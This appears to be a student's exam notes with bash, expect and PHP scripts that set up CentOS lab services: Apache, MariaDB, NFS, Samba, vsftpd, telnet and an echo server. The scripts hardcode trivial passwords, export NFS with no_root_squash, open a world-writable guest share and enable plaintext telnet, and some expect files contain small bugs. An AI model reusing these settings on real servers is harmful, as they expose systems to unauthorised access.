![](https://hackmd.io/_uploads/rJGGD40f6.png) ![](https://hackmd.io/_uploads/HyfAPV0fa.png) ## 11/14 ![圖片](https://hackmd.io/_uploads/ryn5s9xN6.png) CentOS1 ![圖片](https://hackmd.io/_uploads/rkEl3qeVa.png) ![圖片](https://hackmd.io/_uploads/Sk99h5gVp.png) CentOS2 ![圖片](https://hackmd.io/_uploads/B1hNnqlNT.png) Setting ens36 IP (Centos 7-1) ![圖片](https://hackmd.io/_uploads/Sk04Rqe46.png) ![圖片](https://hackmd.io/_uploads/H1G7RqxVp.png) ![圖片](https://hackmd.io/_uploads/rJtOR5lEp.png) (Centos 7-2) Cent-1 server configuration ![圖片](https://hackmd.io/_uploads/rkEbEixN6.png) ``` vim /etc/ppp/chap-secrets ``` ![圖片](https://hackmd.io/_uploads/HkIXPoxVa.png) ``` vim /etc/sysctl.conf ``` Windows VPN ![圖片](https://hackmd.io/_uploads/S1R9Bjx4a.png) # Service Script for Exam ## Server Script ```bash #!/bin/bash # using to locate Executing positions of the script initialdirectory=$(pwd) ClientHostname=s0560 # setting HostName hostnamectl set-hostname s0560server # using double quotes instead of smart quotes for proper syntax echo "Hello World from $(hostname)" > /var/www/html/index.html # DNS cache echo "Input Target Client IP:" read ClientIP echo "$ClientIP $ClientHostname" >> /etc/hosts # ----------------- # Automatically install yum update -y yum install -y httpd systemctl start httpd.service systemctl enable httpd.service # SSH systemctl start sshd && systemctl enable sshd ssh-keygen -y # generate SSH key expect -f keyGenAndSendkey.exp && echo "Auto login Finish!!" # Task 2: LAMP PHP yum install -y mariadb-server mariadb && systemctl start mariadb yum install -y php php-mysql php-fpm && systemctl restart httpd expect -f mysqlSecureSetting.exp # create database and insert data php dbSetting.php # backend-php mv ./meowdb.php /var/www/html # Task 3: NFS server yum install -y nfs-utils systemctl start rpcbind systemctl start nfs mkdir -p /home/user/nfsServer chmod 755 /home/user/nfsServer sameLanIP=$(ip addr show ens33 | grep 'inet ' | awk '{split($2, a, "."); print a[1]"."a[2]"."a[3]".0"}') echo "/home/user/nfsServer/ $sameLanIP/24(rw,sync,no_root_squash,no_all_squash)" >> /etc/exports systemctl restart nfs && showmount -e localhost # Task 4: SAMBA yum install samba samba-client samba-common -y mkdir /home/user/sambaServer/ chown nobody /home/user/sambaServer/ chmod 777 /home/user/sambaServer/ # SMB.conf echo "[MeowHecker]" >> /etc/samba/smb.conf echo -e "\tcomment = for MeowHecker" >> /etc/samba/smb.conf echo -e "\tpath = /home/user/sambaServer/" >> /etc/samba/smb.conf echo -e "\tread only = no" >> /etc/samba/smb.conf echo -e "\tguest ok = yes" >> /etc/samba/smb.conf echo -e "\tbrowseable = yes" >> /etc/samba/smb.conf # Testing restart SMB echo -e '\r' | testparm && systemctl start smb # Setting SMB user password (user:user) expect -f smbpass.exp # Windows \\192.168.87.134 # httpd Access control! ## White list (IP) cd /var/www/html/ mkdir iplimit cd /var/www/html/iplimit && echo "ipAccessControl" >> iplimit.html # AllowOverride None -> All allowOverrideLine=$(grep -n "AllowOverride None" /etc/httpd/conf/httpd.conf | sed -n '2s/:.*//p') sed -i "${allowOverrideLine}s/AllowOverride None/AllowOverride All/" /etc/httpd/conf/httpd.conf echo "IP Allow White list (192.xxx.xxx.xxx):" read ipAllow echo "<Directory /var/www/html/iplimit>" >> /etc/httpd/conf/httpd.conf echo -e "\tOrder deny,allow" >> /etc/httpd/conf/httpd.conf echo -e "\tDeny from all" >> /etc/httpd/conf/httpd.conf echo -e "\tAllow from $ipAllow" >> /etc/httpd/conf/httpd.conf echo "</Directory>" >> /etc/httpd/conf/httpd.conf systemctl reload httpd # Access Limit done ## Directory Authentication cd /var/www/html/ mkdir authDir && cd ./authDir/ touch {a..d}.txt # Generate (meowhecker:meowhecker) expect -f httpdauthConf.exp echo "AuthType Basic" >> /var/www/html/authDir/.htaccess echo "AuthName 'Restricted Files'" >> /var/www/html/authDir/.htaccess echo "AuthBasicProvider file" >> /var/www/html/authDir/.htaccess echo "AuthUserFile /var/www/html/authDir/.htpasswd" >> /var/www/html/authDir/.htaccess echo "Require user meowhecker" >> /var/www/html/authDir/.htaccess systemctl reload httpd # Task 5: Running Echo server via systemctl yum install python3 -y sudo chmod +x "$initialdirectory/echoserver.py" # Configure systemctl Configuration cd /etc/systemd/system echo "[Unit]" >> /etc/systemd/system/echoserver.service echo -e "Description=Echo Server\n" >> /etc/systemd/system/echoserver.service echo "[Service]" >> /etc/systemd/system/echoserver.service echo "Type=simple" >> /etc/systemd/system/echoserver.service echo "ExecStart=$initialdirectory/echoserver.py" >> /etc/systemd/system/echoserver.service echo -e "Restart=always\n" >> /etc/systemd/system/echoserver.service echo "[Install]" >> /etc/systemd/system/echoserver.service echo "WantedBy=multi-user.target" >> /etc/systemd/system/echoserver.service chmod 644 /etc/systemd/system/echoserver.service sudo systemctl daemon-reload sudo systemctl start echoserver.service sudo systemctl status echoserver.service # Task 6: vsftpd yum install vsftpd -y systemctl start vsftpd # Limit user cd to other directories sed -i 's/^#chroot_local_user=YES/chroot_local_user=YES/' /etc/vsftpd/vsftpd.conf sed -i '/^chroot_local_user=YES/a allow_writeable_chroot=YES' /etc/vsftpd/vsftpd.conf mkdir "$initialdirectory/ftpserver" && cd "$initialdirectory/ftpserver" touch {a..d}.txt # Task 7: Telnet yum install -y telnet-server yum install -y telnet yum install -y xinetd systemctl start telnet.socket systemctl start xinetd # Task 8: Network Manager -> Network networkConfigure="/etc/sysconfig/network-scripts/ifcfg-ens33" systemctl stop NetworkManager chkconfig network on systemctl start network ifconfig ens33 0 cd /etc/sysconfig/network-scripts/ rm ifcfg-* -f cat << EOF > $networkConfigure TYPE=Ethernet DEVICE=ens33 ONBOOT=yes BOOTPROTO=static IPADDR=192.168.87.129 NETMASK=255.255.255.0 GATEWAY=192.168.87.2 EOF systemctl restart network ``` ## Client Script ```bash #!/bin/bash RemoteServerName=s0560server # Setting HostName hostnamectl set-hostname s0560client bash yum update -y yum install -y httpd systemctl start httpd.service systemctl enable httpd.service echo "Hello World from $(hostname -f)" > /var/www/html/index.html # DNS cache echo "Input Target Server IP:" read ServerIP echo "$ServerIP $RemoteServerName" >> /etc/hosts # Automatically yum install expect -y # Task 3 NFS client yum install -y nfs-utils systemctl start rpcbind && systemctl start nfs echo "Check Remote NFS folder" read remoteNfs showmount -e $remoteNfs mkdir -p /home/user/nfsmount mount -t nfs $remoteNfs:/home/user/nfsServer /home/user/nfsmount # Echo server (client) nc $RemoteServerName 9000 # FTP client (Download File!) sudo yum install -y ftp ftp $RemoteServerName -u user FTP_SERVER=$RemoteServerName FTP_USER="user" FTP_PASSWORD="user" ftp -n $FTP_SERVER <<END_SCRIPT quote USER $FTP_USER quote PASS $FTP_PASSWORD cd ./ftpserver/ bin prompt mget *.txt bye END_SCRIPT # Client upload cd "$initialdirectory/ftpClient" && touch {1..4}.txt ftp -n $FTP_SERVER <<END_SCRIPT quote USER $FTP_USER quote PASS $FTP_PASSWORD cd ./ftpClient/ bin prompt mput *.txt bye END_SCRIPT # Telnet client telnetUser="user" TelnetPassword="user" yum install -y telnet yum install -y xinetd systemctl start telnet.socket systemctl start xinetd expect -f telnetAutoLogin.exp ``` ## EXP File & PHP file keyGenAndSendkey ```bash #!/usr/bin/expect set timeout 30 spawn ssh-keygen -t rsa expect "Enter file in which to save the key (/root/.ssh/id_rsa): " send "\r" expect "Enter passphrase (empty for no passphrase): " send "\r" expect "Enter same passphrase again: " send "\r" expect eof spawn ssh-copy-id -i /root/.ssh/id_rsa.pub user@meowclient expect { "Are you sure you want to continue connecting (yes/no)?" { send "yes\r" exp_continue } "password:" { send "user_password\r" exp_continue } eof } ``` mysqlSecureSetting.exp ```bash= #!/usr/bin/expect set timeout 30 spawn mysql_secure_installation expect { "Enter current password for root (enter for none):" { send "\r" exp_continue } "Set root password?" { send "Y\r" exp_continue } "New password:" { send "root\r" exp_continue } "Re-enter new password:" { send "root\r" exp_continue } "Remove anonymous users?" { send "Y\r" exp_continue } "Disallow root login remotely?" { send "Y\r" exp_continue } "Remove test database and access to it?" { send "Y\r" exp_continue } "Reload privilege tables now? { send "Y\r" exp_continue } eof } ``` httpdauthConf.exp ```bash #/usr/bin/expect set username "user" set password "user" set htpasswd_file "/var/www/html/authDir/.htpasswd" set usernameMeow "meowhecker" set passwordMeow "meowhecker" spawn htpasswd -c $htpasswd_file $username expect "New password:" send "$password\r" expect "Re-type new password:" send "$password\r" expect eof spawn htpasswd -c $htpasswd_file $usernameMeow expect "New password:" send "$passwordMeow\r" expect "Re-type new password:" send "$passwordMeow\r" expect eof ``` SAMBA.exp ``` #!/usr/bin/expect set smb_user "user" set smb_password "user" spawn smbpasswd -a $smb_user expect "New SMB password:" send "$smb_password\r" expect "Retype new SMB password:" send "$smb_password\r" expect eof ``` Telnet ```bash #!/usr/bin/expect set telnet_host "127.0.0.1" set telnet_user "user" set telnet_password "user" spawn telnet $telnet_host expect "login:" send "$telnet_user\r" expect "Password:" send "$telnet_password\r" expect eof ``` dbsetting.php ```php <?php $servername = "localhost"; $username = "root"; $password = "root"; $dbname = "testdb"; $conn = new mysqli($servername, $username, $password); if ($conn->connect_error) { die("Connection failed: " . $conn->connect_error); } $sql = "CREATE DATABASE IF NOT EXISTS testdb"; if ($conn->query($sql) === TRUE) { echo "Database created successfully\n"; } else { echo "Error creating database: " . $conn->error . "\n"; } $conn->select_db("testdb"); $sql = "CREATE TABLE IF NOT EXISTS addrbook ( name VARCHAR(50) NOT NULL, phone CHAR(10) )"; if ($conn->query($sql) === TRUE) { echo "Table created successfully\n"; } else { echo "Error creating table: " . $conn->error . "\n"; } $sql = "INSERT INTO addrbook (name, phone) VALUES ('tom', '0912123456'), ('mary', '0912123567')"; if ($conn->query($sql) === TRUE) { echo "Data inserted successfully\n"; } else { echo "Error inserting data: " . $conn->error . "\n"; } $conn->close(); ?> ``` meowdb.php ```php= <?php $servername="127.0.0.1"; $username="root"; $password="root"; $dbname="testdb"; $conn = new mysqli($servername, $username, $password, $dbname); if($conn->connect_error){ die("connection failed: " . $conn->connect_error); } else{ echo "connect OK!" . "<br>"; } $sql="select name, phone from addrbook"; $result=$conn->query($sql); if($result->num_rows>0){ while($row=$result->fetch_assoc()){ echo "name: " . $row["name"] . "\tphone: " . $row["phone"] . "<br>"; } } else { echo "0 record"; } ?> ```